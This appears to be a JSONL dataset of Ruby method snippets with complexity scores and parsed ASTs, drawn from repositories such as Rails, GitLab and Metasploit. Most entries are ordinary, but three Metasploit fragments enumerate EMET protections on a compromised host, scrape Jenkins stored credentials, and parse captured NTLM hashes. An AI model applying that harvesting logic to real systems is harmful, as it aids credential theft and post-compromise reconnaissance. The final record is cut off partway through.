{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/enum_emet.rb","start_line":37,"raw_source":"def run\n    reg_view = sysinfo['Architecture'] == ARCH_X64 ? REGISTRY_VIEW_64_BIT : REGISTRY_VIEW_32_BIT\n    reg_vals = registry_enumvals('HKLM\\\\SOFTWARE\\\\Microsoft\\\\EMET\\\\AppSettings', reg_view)\n    if reg_vals.nil?\n      print_error('Failed to enumerate EMET Protected.')\n    else\n      print_status('Found protected processes:')\n      reg_vals.each do |path|\n        print_status(path)\n      end\n      path = store_loot('host.emet_paths', 'text/plain', session, reg_vals.join(\"\\r\\n\"), 'emet_paths.txt', 'EMET Paths')\n      print_good(\"Results stored in: #{path}\")\n    end\n  end","complexity_score":22.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reg_view\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Architecture\"]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"const\",\"children\":[null,\"REGISTRY_VIEW_64_BIT\"]},{\"type\":\"const\",\"children\":[null,\"REGISTRY_VIEW_32_BIT\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reg_vals\",{\"type\":\"send\",\"children\":[null,\"registry_enumvals\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\EMET\\\\AppSettings\"]},{\"type\":\"lvar\",\"children\":[\"reg_view\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg_vals\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to enumerate EMET Protected.\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Found protected processes:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg_vals\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"host.emet_paths\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reg_vals\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},{\"type\":\"str\",\"children\":[\"emet_paths.txt\"]},{\"type\":\"str\",\"children\":[\"EMET Paths\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Results stored in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}]}]}","id":"108abef8-143d-4814-8e91-8145b682902e"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/models/concerns/orderable.rb","start_line":9,"raw_source":"def ordered_by(attribute, direction = :asc)\n          order(attribute => direction)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ordered_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"optarg\",\"children\":[\"direction\",{\"type\":\"sym\",\"children\":[\"asc\"]}]}]},{\"type\":\"send\",\"children\":[null,\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"direction\"]}]}]}]}]}","id":"f77a43b0-7c6a-4852-b9be-da853c79ec2c"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/capture_helper_test.rb","start_line":112,"raw_source":"def test_content_for_with_block_and_multiple_calls_without_flush\n    assert_not content_for?(:title)\n    content_for :title do\n      \"foo\"\n    end\n    content_for :title, flush: false do\n      \"bar\"\n    end\n    assert_equal \"foobar\", content_for(:title)\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_content_for_with_block_and_multiple_calls_without_flush\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[null,\"content_for?\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_for\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_for\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flush\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foobar\"]},{\"type\":\"send\",\"children\":[null,\"content_for\",{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]}]}","id":"a8e0109e-6b37-4deb-b1c1-5c76dbeda13c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/integrations/integratable_operations.rb","start_line":26,"raw_source":"def find_or_initialize_integration(slug)\n            parent_resource.find_or_initialize_integration(slug.underscore)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_initialize_integration\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_resource\"]},\"find_or_initialize_integration\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]},\"underscore\"]}]}]}","id":"8c839de3-8893-4b26-a349-5cc2ab79b86d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/jenkins_cred_recovery.rb","start_line":98,"raw_source":"def get_users\n    users = []\n\n    uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain)\n    uri << '/'\n\n    res = send_request_cgi({ 'uri' => uri })\n\n    unless res\n      fail_with(Failure::Unknown, 'Connection timed out while enumerating accounts.')\n    end\n\n    html = res.get_html_document\n    rows = html.search('//table[@class=\"sortable pane bigtable\"]//tr')\n\n    # The first row is the table header, which we don't want.\n    rows.shift\n\n    rows.each do |row|\n      td = row.search('td')\n      id = td[0].at('a').attributes['href'].value.scan(/^credential\\/(.+)/).flatten.first || ''\n      name = td[1].text.scan(/^(.+)\\/\\*+/).flatten.first || ''\n      kind = td[2].text\n      desc = td[3].text\n      next unless /Username with password/i === kind\n\n      users << {\n        id: id,\n        username: name,\n        kind: kind,\n        description: desc,\n        domain: domain\n      }\n    end\n\n    users\n  end","complexity_score":64.58,"ast_json":"{\"type\":\"def\",\"children\":[\"get_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"credential-store\"]},{\"type\":\"str\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[null,\"domain\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Connection timed out while enumerating accounts.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"search\",{\"type\":\"str\",\"children\":[\"//table[@class=\\\"sortable pane bigtable\\\"]//tr\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"shift\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"td\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"search\",{\"type\":\"str\",\"children\":[\"td\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"td\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"at\",{\"type\":\"str\",\"children\":[\"a\"]}]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"href\"]}]},\"value\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^credential/(.+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"td\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"text\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^(.+)/\\\\*+\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"kind\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"td\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"text\"]}]},{\"type\":\"lvasgn\",\"children\":[\"desc\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"td\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Username with password\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},\"===\",{\"type\":\"lvar\",\"children\":[\"kind\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kind\"]},{\"type\":\"lvar\",\"children\":[\"kind\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"desc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[null,\"domain\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"users\"]}]}]}","id":"5853e7e1-aad1-40fc-a75a-2384b544f69e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/deploy_token.rb","start_line":212,"raw_source":"def has_scopes?(required_scopes)\n    (required_scopes & scopes).size == required_scopes.size\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_scopes?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"required_scopes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"required_scopes\"]},\"&\",{\"type\":\"send\",\"children\":[null,\"scopes\"]}]}]},\"size\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"required_scopes\"]},\"size\"]}]}]}","id":"653cb54b-f141-48f4-9f4b-a06240a75dfb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/oid/type_map_initializer.rb","start_line":89,"raw_source":"def register_composite_type(row)\n              if subtype = @store.lookup(row[\"typelem\"].to_i)\n                register row[\"oid\"], OID::Vector.new(row[\"typdelim\"], subtype)\n              end\n            end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"register_composite_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subtype\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"lookup\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"typelem\"]}]},\"to_i\"]}]}]},{\"type\":\"send\",\"children\":[null,\"register\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"oid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OID\"]},\"Vector\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"typdelim\"]}]},{\"type\":\"lvar\",\"children\":[\"subtype\"]}]}]},null]}]}","id":"9947acc3-5b13-4a41-96b6-9ff62c5ee697"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/storage/s3_storage.rb","start_line":186,"raw_source":"def strip_s3_object_prefix(object_path)\n        object_path.delete_prefix(s3_object_prefix.to_s).delete_prefix('/')\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"strip_s3_object_prefix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_path\"]},\"delete_prefix\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s3_object_prefix\"]},\"to_s\"]}]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}","id":"54f68008-1662-4d9b-8047-b0565ede34ce"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/censored_words_validator.rb","start_line":30,"raw_source":"def join_censored_words(censored_words)\n    censored_words.map!(&:downcase)\n    censored_words.uniq!\n    censored_words.join(\", \")\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"join_censored_words\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"censored_words\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"censored_words\"]},\"map!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"censored_words\"]},\"uniq!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"censored_words\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}","id":"099a17ba-f11e-4240-b93b-f3baa3c03e66"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/portal/portal_stubbing.rb","start_line":332,"raw_source":"def adp_stub_download_certificate_failure\n      stub_request(:get, 'https://developer.apple.com/services-account/QH65B2/account/ios/certificate/downloadCertificateContent.action?certificateId=XC5PH8DAAA&teamId=XXXXXXXXXX&type=R58UK2EAAA').\n        to_return(status: 404, body: adp_read_fixture_file('download_certificate_failure.html'))\n    end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"adp_stub_download_certificate_failure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/downloadCertificateContent.action?certificateId=XC5PH8DAAA&teamId=XXXXXXXXXX&type=R58UK2EAAA\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[404]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"download_certificate_failure.html\"]}]}]}]}]}]}","id":"89632f5c-6b49-4c3f-8eca-d73e6f70aff9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/worker_attributes.rb","start_line":155,"raw_source":"def get_data_consistency_feature_flag_enabled?\n      return true unless get_class_attribute(:data_consistency_feature_flag)\n\n      Feature.enabled?(get_class_attribute(:data_consistency_feature_flag), Feature.current_request, type: :worker)\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_data_consistency_feature_flag_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_class_attribute\",{\"type\":\"sym\",\"children\":[\"data_consistency_feature_flag\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"send\",\"children\":[null,\"get_class_attribute\",{\"type\":\"sym\",\"children\":[\"data_consistency_feature_flag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"current_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"worker\"]}]}]}]}]}]}","id":"50d8f6b4-2f15-435f-8e62-53986fbfec7e"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/custom_field_injector.rb","start_line":251,"raw_source":"def embedded_link_value_getter(custom_field)\n          representer_class = derive_representer_class(custom_field)\n\n          proc do\n            # Do not embed list, hierarchies or multi values as their links contain all the\n            # information needed (title and href) already.\n            next if represented.available_custom_fields.exclude?(custom_field) ||\n                    custom_field.list? ||\n                    custom_field.hierarchical_list? ||\n                    custom_field.multi_value?\n\n            value = represented.send custom_field.attribute_getter\n\n            next unless value\n\n            representer_class\n              .create(value, current_user:)\n          end\n        end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"embedded_link_value_getter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"representer_class\",{\"type\":\"send\",\"children\":[null,\"derive_representer_class\",{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"available_custom_fields\"]},\"exclude?\",{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"list?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"hierarchical_list?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"multi_value?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"attribute_getter\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"representer_class\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]}]}]}","id":"b6396128-0201-4a5f-b8a4-1c57bf295473"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/http_ntlmrelay.rb","start_line":625,"raw_source":"def get_hash_info(type3_hash)\n    # authorization string is base64 encoded message\n    domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(type3_hash)\n    nt_len = ntlm_hash.length\n\n    if nt_len == 48 # lmv1/ntlmv1 or ntlm2_session\n      arg = {\n        :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,\n        :lm_hash => lm_hash,\n        :nt_hash => ntlm_hash\n      }\n\n      if arg[:lm_hash][16, 32] == '0' * 32\n        arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE\n      end\n    # if the length of the ntlm response is not 24 then it will be bigger and represent\n    # a ntlmv2 response\n    elsif nt_len > 48 # lmv2/ntlmv2\n      arg = {\n        :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,\n        :lm_hash => lm_hash[0, 32],\n        :lm_cli_challenge => lm_hash[32, 16],\n        :nt_hash => ntlm_hash[0, 32],\n        :nt_cli_challenge => ntlm_hash[32, nt_len - 32]\n      }\n    elsif nt_len == 0\n      print_status(\"Empty hash from #{host} captured, ignoring ... \")\n    else\n      print_status(\"Unknown hash type from #{host}, ignoring ...\")\n    end\n\n    arg[:host] = host\n    arg[:user] = user\n    arg[:domain] = domain\n\n    return arg\n  end","complexity_score":41.88,"ast_json":"{\"type\":\"def\",\"children\":[\"get_hash_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type3_hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"domain\"]},{\"type\":\"lvasgn\",\"children\":[\"user\"]},{\"type\":\"lvasgn\",\"children\":[\"host\"]},{\"type\":\"lvasgn\",\"children\":[\"lm_hash\"]},{\"type\":\"lvasgn\",\"children\":[\"ntlm_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MESSAGE\"]},\"process_type3_message\",{\"type\":\"lvar\",\"children\":[\"type3_hash\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"nt_len\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ntlm_hash\"]},\"length\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nt_len\"]},\"==\",{\"type\":\"int\",\"children\":[48]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arg\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ntlm_ver\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NTLM_CONST\"]},\"NTLM_V1_RESPONSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lm_hash\"]},{\"type\":\"lvar\",\"children\":[\"lm_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nt_hash\"]},{\"type\":\"lvar\",\"children\":[\"ntlm_hash\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lm_hash\"]}]},\"[]\",{\"type\":\"int\",\"children\":[16]},{\"type\":\"int\",\"children\":[32]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"0\"]},\"*\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ntlm_ver\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NTLM_CONST\"]},\"NTLM_2_SESSION_RESPONSE\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nt_len\"]},\">\",{\"type\":\"int\",\"children\":[48]}]},{\"type\":\"lvasgn\",\"children\":[\"arg\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ntlm_ver\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NTLM_CONST\"]},\"NTLM_V2_RESPONSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lm_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lm_hash\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lm_cli_challenge\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lm_hash\"]},\"[]\",{\"type\":\"int\",\"children\":[32]},{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nt_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ntlm_hash\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nt_cli_challenge\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ntlm_hash\"]},\"[]\",{\"type\":\"int\",\"children\":[32]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nt_len\"]},\"-\",{\"type\":\"int\",\"children\":[32]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nt_len\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Empty hash from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\" captured, ignoring ... \"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown hash type from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"str\",\"children\":[\", ignoring 